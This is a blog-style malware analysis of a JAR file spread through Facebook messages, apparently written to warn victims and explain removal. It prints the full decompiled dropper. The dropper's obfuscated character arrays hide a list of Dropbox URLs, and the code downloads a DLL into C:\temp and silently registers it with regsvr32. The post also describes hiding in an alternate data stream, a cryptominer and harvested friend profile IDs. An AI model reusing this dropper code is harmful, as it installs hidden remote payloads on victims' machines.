Skip to main content

Malware Analysis of Malicious Facebook Message

 If recently  you have received a message like the one shown below, lol and zip attached with it then please do not try to open the jar file inside it.



So what this jar file contains??
Its a code that downloads the dynamic loadable library from internet and install it in system.Lets have a look at the source code of jar file which i decompiled .


import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintStream;
import java.net.HttpURLConnection;
import java.net.URI;
import java.net.URL;
import java.nio.file.CopyOption;
import java.nio.file.Files;
import java.nio.file.Paths;

public class IMG_00111
{
  public static String XJJXMWJJQDBIAEHVEBZ()
  {
    int[] arrayOfInt = { 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47 };
    
    StringBuilder localStringBuilder = new StringBuilder(arrayOfInt.length);
    for (int i = 0; i < arrayOfInt.length; i++) {
      localStringBuilder.append((char)arrayOfInt[i]);
    }
    return localStringBuilder.toString();
  }
  
  public static String GBWIBM()
  {
    int[] arrayOfInt = { 102, 54, 112, 98, 54, 121, 97, 53, 101, 53, 118, 99, 48, 113, 53, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 50, 49, 117, 114, 98, 52, 122, 103, 57, 110, 50, 111, 110, 52, 115, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 56, 104, 52, 54, 121, 54, 111, 111, 100, 114, 52, 100, 120, 120, 102, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 56, 111, 112, 100, 50, 104, 119, 53, 48, 98, 57, 55, 52, 109, 120, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 116, 105, 120, 51, 54, 57, 50, 100, 117, 118, 52, 121, 116, 115, 57, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 57, 55, 52, 51, 113, 53, 54, 103, 98, 110, 105, 120, 52, 110, 116, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 100, 99, 54, 108, 112, 108, 103, 106, 51, 98, 53, 105, 107, 56, 52, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 113, 55, 115, 122, 55, 98, 120, 102, 53, 49, 53, 115, 122, 108, 119, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 109, 51, 116, 49, 48, 48, 97, 105, 56, 99, 103, 105, 122, 113, 57, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 109, 104, 121, 100, 108, 100, 109, 106, 51, 121, 114, 121, 105, 108, 107, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 52, 114, 52, 106, 106, 49, 50, 113, 120, 103, 103, 121, 55, 110, 122, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 102, 56, 115, 104, 118, 120, 103, 51, 119, 56, 55, 114, 108, 109, 49, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 106, 108, 118, 111, 119, 104, 56, 122, 118, 50, 50, 111, 114, 102, 116, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 56, 56, 109, 56, 107, 120, 118, 97, 49, 108, 116, 51, 100, 118, 122, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 120, 57, 122, 115, 53, 54, 51, 97, 53, 105, 51, 57, 52, 116, 102, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 118, 116, 117, 103, 111, 116, 53, 101, 115, 52, 117, 116, 115, 122, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 99, 100, 48, 48, 108, 120, 98, 103, 53, 101, 51, 50, 51, 50, 57, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 98, 103, 108, 106, 106, 97, 107, 98, 102, 110, 48, 106, 51, 122, 118, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 119, 99, 111, 118, 56, 101, 56, 107, 118, 112, 107, 122, 102, 107, 53, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 106, 118, 100, 114, 117, 117, 114, 103, 48, 99, 107, 120, 57, 52, 114, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 119, 113, 105, 55, 121, 115, 100, 103, 100, 99, 99, 99, 104, 122, 53, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 120, 105, 115, 117, 100, 103, 114, 105, 55, 54, 115, 120, 99, 99, 104, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 109, 120, 98, 108, 102, 101, 101, 53, 107, 117, 57, 51, 99, 49, 52, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 119, 52, 99, 55, 114, 103, 55, 101, 122, 99, 103, 112, 56, 105, 56, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 118, 103, 100, 98, 97, 114, 118, 100, 103, 117, 97, 115, 97, 114, 119, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 51, 116, 51, 50, 49, 101, 113, 56, 118, 114, 110, 120, 52, 102, 49, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 56, 53, 103, 121, 110, 53, 108, 54, 102, 50, 51, 117, 51, 112, 121, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 52, 116, 116, 110, 109, 104, 114, 107, 101, 52, 49, 122, 121, 111, 99, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 107, 120, 110, 56, 107, 109, 117, 52, 114, 51, 98, 106, 116, 54, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 107, 108, 56, 120, 51, 117, 103, 120, 114, 112, 120, 117, 56, 97, 105, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 56, 105, 118, 105, 48, 98, 100, 57, 98, 115, 102, 56, 112, 53, 112, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 118, 104, 114, 113, 120, 99, 103, 51, 50, 120, 51, 113, 109, 113, 110, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 52, 121, 106, 97, 109, 121, 118, 120, 110, 51, 56, 121, 50, 56, 121, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 105, 121, 55, 106, 115, 99, 116, 53, 111, 111, 109, 104, 122, 101, 53, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 57, 102, 116, 57, 118, 49, 51, 112, 115, 122, 106, 52, 100, 115, 121, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 118, 115, 113, 57, 117, 50, 115, 105, 56, 57, 111, 119, 101, 48, 114, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 119, 103, 105, 103, 116, 113, 113, 48, 104, 121, 99, 118, 105, 57, 97, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 102, 99, 112, 99, 101, 52, 56, 49, 101, 114, 48, 110, 108, 122, 116, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 99, 110, 112, 103, 112, 110, 107, 118, 121, 115, 106, 121, 112, 48, 57, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 114, 111, 56, 104, 51, 106, 49, 50, 105, 111, 120, 102, 55, 102, 97, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 122, 49, 53, 57, 122, 119, 51, 54, 99, 120, 53, 56, 121, 49, 97, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 111, 118, 57, 55, 109, 54, 105, 100, 107, 53, 119, 56, 109, 101, 51, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 109, 57, 121, 55, 103, 114, 101, 102, 51, 104, 121, 108, 54, 57, 97, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 57, 54, 113, 119, 100, 48, 103, 49, 53, 107, 107, 56, 49, 99, 111, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 109, 50, 51, 104, 99, 119, 116, 52, 104, 120, 48, 100, 52, 54, 118, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 102, 109, 102, 104, 51, 116, 50, 97, 108, 107, 119, 106, 119, 119, 98, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 103, 120, 107, 107, 112, 50, 112, 113, 116, 97, 109, 113, 99, 53, 122, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 111, 53, 118, 103, 119, 52, 100, 50, 48, 115, 122, 119, 101, 106, 113, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 55, 106, 104, 116, 99, 105, 113, 113, 53, 52, 48, 98, 54, 110, 51, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 109, 56, 119, 51, 53, 113, 51, 111, 117, 56, 115, 101, 102, 104, 50, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 109, 106, 56, 101, 100, 106, 55, 53, 53, 52, 110, 120, 52, 103, 122, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 110, 55, 117, 97, 105, 98, 112, 57, 57, 112, 102, 57, 111, 51, 53, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 108, 102, 99, 107, 113, 119, 108, 104, 100, 101, 100, 51, 106, 102, 97, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 100, 49, 121, 113, 108, 114, 109, 104, 56, 51, 54, 52, 55, 49, 112, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 52, 97, 49, 56, 50, 57, 48, 108, 102, 99, 55, 55, 108, 109, 57, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 112, 104, 104, 108, 113, 111, 98, 109, 48, 98, 52, 101, 98, 99, 106, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 114, 122, 55, 105, 103, 107, 104, 121, 112, 52, 108, 119, 111, 55, 121, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 109, 110, 53, 120, 55, 52, 120, 119, 50, 104, 112, 108, 121, 114, 118, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 48, 105, 57, 116, 120, 56, 55, 48, 52, 55, 105, 107, 107, 57, 103, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 99, 50, 48, 101, 104, 118, 52, 50, 118, 117, 112, 121, 54, 55, 101, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 116, 115, 99, 114, 52, 107, 109, 109, 118, 106, 113, 104, 117, 103, 103, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 116, 112, 100, 107, 54, 50, 50, 116, 54, 103, 100, 106, 99, 56, 120, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 55, 109, 48, 97, 99, 51, 53, 115, 116, 116, 99, 122, 119, 104, 110, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 54, 122, 111, 52, 55, 52, 117, 122, 52, 113, 109, 111, 52, 54, 99, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 54, 108, 117, 104, 118, 55, 107, 110, 52, 53, 121, 48, 102, 101, 110, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 110, 121, 110, 108, 56, 100, 104, 52, 118, 100, 103, 114, 113, 108, 52, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 107, 54, 97, 103, 55, 51, 98, 119, 51, 56, 100, 106, 106, 103, 103, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 111, 115, 99, 105, 122, 52, 52, 48, 113, 97, 50, 56, 109, 55, 110, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 48, 98, 111, 110, 48, 54, 108, 53, 116, 120, 53, 106, 54, 102, 55, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 119, 117, 103, 103, 101, 49, 106, 53, 52, 97, 99, 108, 55, 109, 110, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 110, 102, 100, 52, 118, 120, 104, 119, 102, 116, 109, 112, 116, 99, 111, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 53, 51, 99, 121, 111, 57, 112, 103, 114, 57, 100, 102, 52, 120, 103, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 98, 121, 48, 105, 112, 56, 53, 112, 57, 111, 49, 55, 56, 103, 116, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 102, 103, 54, 111, 120, 108, 114, 122, 97, 117, 52, 101, 103, 100, 53, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 121, 115, 104, 103, 55, 101, 103, 122, 116, 108, 56, 99, 55, 48, 53, 47, 100, 46, 100, 97, 116, 63, 100, 108, 61, 49 };
    
    StringBuilder localStringBuilder = new StringBuilder(arrayOfInt.length);
    for (int i = 0; i < arrayOfInt.length; i++) {
      localStringBuilder.append((char)arrayOfInt[i]);
    }
    return localStringBuilder.toString();
  }
  
  public static String LFHFKRGVONANPFWRG()
  {
    int[] arrayOfInt = { 64, 64, 64 };
    
    StringBuilder localStringBuilder = new StringBuilder(arrayOfInt.length);
    for (int i = 0; i < arrayOfInt.length; i++) {
      localStringBuilder.append((char)arrayOfInt[i]);
    }
    return localStringBuilder.toString();
  }
  
  public static String INYUAKPDLAH()
  {
    int[] arrayOfInt = { 67, 58, 92, 92, 116, 101, 109, 112, 92, 92, 89, 81, 74, 72, 66, 74, 88, 46, 80, 87, 89 };
    
    StringBuilder localStringBuilder = new StringBuilder(arrayOfInt.length);
    for (int i = 0; i < arrayOfInt.length; i++) {
      localStringBuilder.append((char)arrayOfInt[i]);
    }
    return localStringBuilder.toString();
  }
  
  public static String DVLAQPQHSFMOIAFG()
  {
    int[] arrayOfInt = { 67, 58, 92, 92, 116, 101, 109, 112, 92, 92 };
    
    StringBuilder localStringBuilder = new StringBuilder(arrayOfInt.length);
    for (int i = 0; i < arrayOfInt.length; i++) {
      localStringBuilder.append((char)arrayOfInt[i]);
    }
    return localStringBuilder.toString();
  }
  
  public static String STPDMAE()
  {
    int[] arrayOfInt = { 114, 101, 103, 115, 118, 114, 51, 50, 32, 47, 115, 32, 67, 58, 92, 92, 116, 101, 109, 112, 92, 92, 89, 81, 74, 72, 66, 74, 88, 46, 80, 87, 89 };
    
    StringBuilder localStringBuilder = new StringBuilder(arrayOfInt.length);
    for (int i = 0; i < arrayOfInt.length; i++) {
      localStringBuilder.append((char)arrayOfInt[i]);
    }
    return localStringBuilder.toString();
  }
  
  public static void QAWUMBJVAREP()
    throws IOException
  {
    int i = 3;
    while (i < 9)
    {
      Runtime.getRuntime().exec(STPDMAE());
      i++;
    }
  }
  
  public static void main(String[] paramArrayOfString)
    throws Exception
  {
    new File(DVLAQPQHSFMOIAFG()).mkdir();
    File localFile = new File(INYUAKPDLAH());
    if (localFile.exists())
    {
      QAWUMBJVAREP();
    }
    else
    {
      String[] arrayOfString1 = GBWIBM().split(LFHFKRGVONANPFWRG());
      for (String str1 : arrayOfString1)
      {
        URL localURL = new URL(XJJXMWJJQDBIAEHVEBZ() + str1);
        HttpURLConnection localHttpURLConnection = (HttpURLConnection)localURL.openConnection();
        
        localHttpURLConnection.connect();
        if (localHttpURLConnection.getResponseCode() / 100 == 2)
        {
          String str2 = XJJXMWJJQDBIAEHVEBZ() + str1;
          String str3 = INYUAKPDLAH();
          LTRTITASRLCE(str2, str3);
          break;
        }
      }
    }
  }
  
  public static void LTRTITASRLCE(String paramString1, String paramString2)
    throws IOException
  {
    System.out.println(paramString1);
    System.out.println(paramString2);
    
    InputStream localInputStream = URI.create(paramString1).toURL().openStream();
    Files.copy(localInputStream, Paths.get(paramString2, new String[0]), new CopyOption[0]);
    QAWUMBJVAREP();
  }
}




Its obfuscated. Below is the step by step detail of what this java code will do if you run the jar file.




###################################Script Result#####################################
mkdir C:\\temp\\
create file name YQJHBJX.PWY
open httpconnection to location https://dl.dropboxusercontent.com/s/ +string1="f6pb6ya5e5vc0q5/d.dat?dl=1@@@21urb4zg9n2on4s/d.dat?dl=1@@@8h46y6oodr4dxxf/d.dat?dl=1@@@8opd2hw50b974mx/d.dat?dl=1@@@tix3692duv4yts9/d.dat?dl=1@@@9743q56gbnix4nt/d.dat?dl=1@@@dc6lplgj3b5ik84/d.dat?dl=1@@@q7sz7bxf515szlw/d.dat?dl=1@@@m3t100ai8cgizq9/d.dat?dl=1@@@mhydldmj3yryilk/d.dat?dl=1@@@4r4jj12qxggy7nz/d.dat?dl=1@@@f8shvxg3w87rlm1/d.dat?dl=1@@@jlvowh8zv22orft/d.dat?dl=1@@@88m8kxva1lt3dvz/d.dat?dl=1@@@x9zs563a5i394tf/d.dat?dl=1@@@hvtugot5es4utsz/d.dat?dl=1@@@cd00lxbg5e32329/d.dat?dl=1@@@bgljjakbfn0j3zv/d.dat?dl=1@@@wcov8e8kvpkzfk5/d.dat?dl=1@@@jvdruurg0ckx94r/d.dat?dl=1@@@wqi7ysdgdccchz5/d.dat?dl=1@@@xisudgri76sxcch/d.dat?dl=1@@@mxblfee5ku93c14/d.dat?dl=1@@@w4c7rg7ezcgp8i8/d.dat?dl=1@@@vgdbarvdguasarw/d.dat?dl=1@@@3t321eq8vrnx4f1/d.dat?dl=1@@@85gyn5l6f23u3py/d.dat?dl=1@@@4ttnmhrke41zyoc/d.dat?dl=1@@@hkxn8kmu4r3bjt6/d.dat?dl=1@@@kl8x3ugxrpxu8ai/d.dat?dl=1@@@8ivi0bd9bsf8p5p/d.dat?dl=1@@@vhrqxcg32x3qmqn/d.dat?dl=1@@@4yjamyvxn38y28y/d.dat?dl=1@@@iy7jsct5oomhze5/d.dat?dl=1@@@9ft9v13pszj4dsy/d.dat?dl=1@@@vsq9u2si89owe0r/d.dat?dl=1@@@wgigtqq0hycvi9a/d.dat?dl=1@@@fcpce481er0nlzt/d.dat?dl=1@@@cnpgpnkvysjyp09/d.dat?dl=1@@@ro8h3j12ioxf7fa/d.dat?dl=1@@@z159zw36cx58y1a/d.dat?dl=1@@@ov97m6idk5w8me3/d.dat?dl=1@@@m9y7gref3hyl69a/d.dat?dl=1@@@96qwd0g15kk81co/d.dat?dl=1@@@m23hcwt4hx0d46v/d.dat?dl=1@@@fmfh3t2alkwjwwb/d.dat?dl=1@@@gxkkp2pqtamqc5z/d.dat?dl=1@@@o5vgw4d20szwejq/d.dat?dl=1@@@7jhtciqq540b6n3/d.dat?dl=1@@@m8w35q3ou8sefh2/d.dat?dl=1@@@mj8edj7554nx4gz/d.dat?dl=1@@@n7uaibp99pf9o35/d.dat?dl=1@@@lfckqwlhded3jfa/d.dat?dl=1@@@d1yqlrmh836471p/d.dat?dl=1@@@4a18290lfc77lm9/d.dat?dl=1@@@phhlqobm0b4ebcj/d.dat?dl=1@@@rz7igkhyp4lwo7y/d.dat?dl=1@@@mn5x74xw2hplyrv/d.dat?dl=1@@@0i9tx87047ikk9g/d.dat?dl=1@@@c20ehv42vupy67e/d.dat?dl=1@@@tscr4kmmvjqhugg/d.dat?dl=1@@@tpdk622t6gdjc8x/d.dat?dl=1@@@7m0ac35sttczwhn/d.dat?dl=1@@@6zo474uz4qmo46c/d.dat?dl=1@@@6luhv7kn45y0fen/d.dat?dl=1@@@nynl8dh4vdgrql4/d.dat?dl=1@@@k6ag73bw38djjgg/d.dat?dl=1@@@osciz440qa28m7n/d.dat?dl=1@@@0bon06l5tx5j6f7/d.dat?dl=1@@@wugge1j54acl7mn/d.dat?dl=1@@@nfd4vxhwftmptco/d.dat?dl=1@@@53cyo9pgr9df4xg/d.dat?dl=1@@@by0ip85p9o178gt/d.dat?dl=1@@@fg6oxlrzau4egd5/d.dat?dl=1@@@yshg7egztl8c705/d.dat?dl=1"



"@@@" is splitter that means fg6oxlrzau4egd5/d.dat?dl=1 constitutes one link .So it will try all the links in order to download the malicious DLL.
copy content of d.dat to YQJHBJX.PWY
final step run d.dat or  YQJHBJX.PWY
regsvr32 /s C:\\temp:YQJHBJX.PWY (register this service  with system)
#################################################################################






Important point to note here is that this DLL will run from a hidden alternate data stream. So the malicious dll is hidden on TEMP folder alternate data stream

If you go to TEMP and do "dir /r" then you can see the hidden alternate data stream,or use alternate data stream viewer 
This ads will contain 5 files

  • DLL file
  • PID1
  • PID2
  • SRV
  • LIST1


If you open list1 file after extracting ads then you will find profile id of all your facebook friends separated by comma inside it :

,1540406190,1088325702,100003798814520,100001180842834,1577102434,1826467191,100002007766718,100000384349191,100000274840242,100001620936327,100000011479860,100006282366359,100000110848326,100000454653025,100001517571086,837101841,100006592025690,

If you open SRV file then you will find a link to a file containing  a message from the creator of this virus:
http://ideone.com/plain/74R13B

Mining is main aim of this virus ,minerd is installed into the system by writing it in process memory(hooking)..I think attacker wants some BYTECOINS and it has nothing to do with  BOTNET 



In order to get rid from this virus try this:

  • regsvr32 \u path-to-dll-file
  • delete alternate data stream using alternate data stream viewer

For More Stay Tuned....


Comments

  1. Since the miner gets the control of the cpu... So we can assume that it can be used to slave our systems and use em as zombies or botnets in future.... just presuming...

    ReplyDelete
  2. Delete temp folder in C:\ using some linux version live CD if the alternate data stream viewer is unable to remove the files! :)

    ReplyDelete
  3. what i found a .dat file instead of .dll one? i cant remove it...

    ReplyDelete
    Replies
    1. .dat file is the actual dll file
      also try to remove temp folder and alternate stream associated with c:\temp folder

      Delete
  4. i dont know how to get rid of virus becaouse my temp folder is emty and i dont know where is alternate stream

    ReplyDelete

Post a Comment

Popular posts from this blog

Hacking Windows 10 UWP App: DLL Injection & common Vulnerabilities

I recently started working on  widows 10 Apps( Apps not Applications) security. Before diving deep in hacking terms lets try to understand what's new in Windows 10 UWP( Universal Platform) as compared to old Apps. Lets begin with how apps actually work on windows 10(desktop/tablet). Now windows 10 comes with a container only for running apps inside the isolated environment. By default, /APPCONTAINER(Linker Flag) is off. This option modifies an executable to indicate whether the app must be run in the appcontainer process-isolation environment. Specify /APPCONTAINER for an app that must run in the appcontainer environment—for example, a Windows Store app. (The option is set automatically in Visual Studio when you create a Windows Store app from a template.) For a desktop app, specify /APPCONTAINER:NO or just omit the option. The /APPCONTAINER option was introduced in Windows 8. Now there is no registry entry concept for these app in the System HIVE rather they install they own hiv...

Installing vmware-11.0 on Ubuntu 15.04 Using kernel Patch

curl http://pastie.org/pastes/9934018/download -o /tmp/vmnet-3.19.patch cd /usr/lib/vmware/modules/source tar -xf vmnet.tar patch -p0 -i /tmp/vmnet-3.19.patch tar -cf vmnet.tar vmnet-only rm -r *-only vmware-modconfig --console --install-all References: http://askubuntu.com/questions/605530/vmware-player-7-1-0-on-ubuntu-15-04-kernel-3-19-0-10-generic-app-loading http://askubuntu.com/questions/617704/failed-to-build-vmnet-for-kernel-3-19

SSI Injection Attack

SSIs are directives present on Web applications used to feed an HTML page with dynamic contents. They are similar to CGIs, except that SSIs are used to execute some actions before the current page is loaded or while the page is being visualized. In order to do so, the web server analyzes SSI before supplying the page to the user. The Server-Side Includes attack allows the exploitation of a web application by injecting scripts in HTML pages or executing arbitrary codes remotely. It can be exploited through manipulation of SSI in use in the application or force its use through user input fields. It is possible to check if the application is properly validating input fields data by inserting characters that are used in SSI directives, like:  Code: < ! # = / . " - > and [a-zA-Z0-9] Another way to discover if the application is vulnerable is to verify the presence of pages with extension .stm, .shtm and .shtml. However, the lack of these type of pages does not mean that th...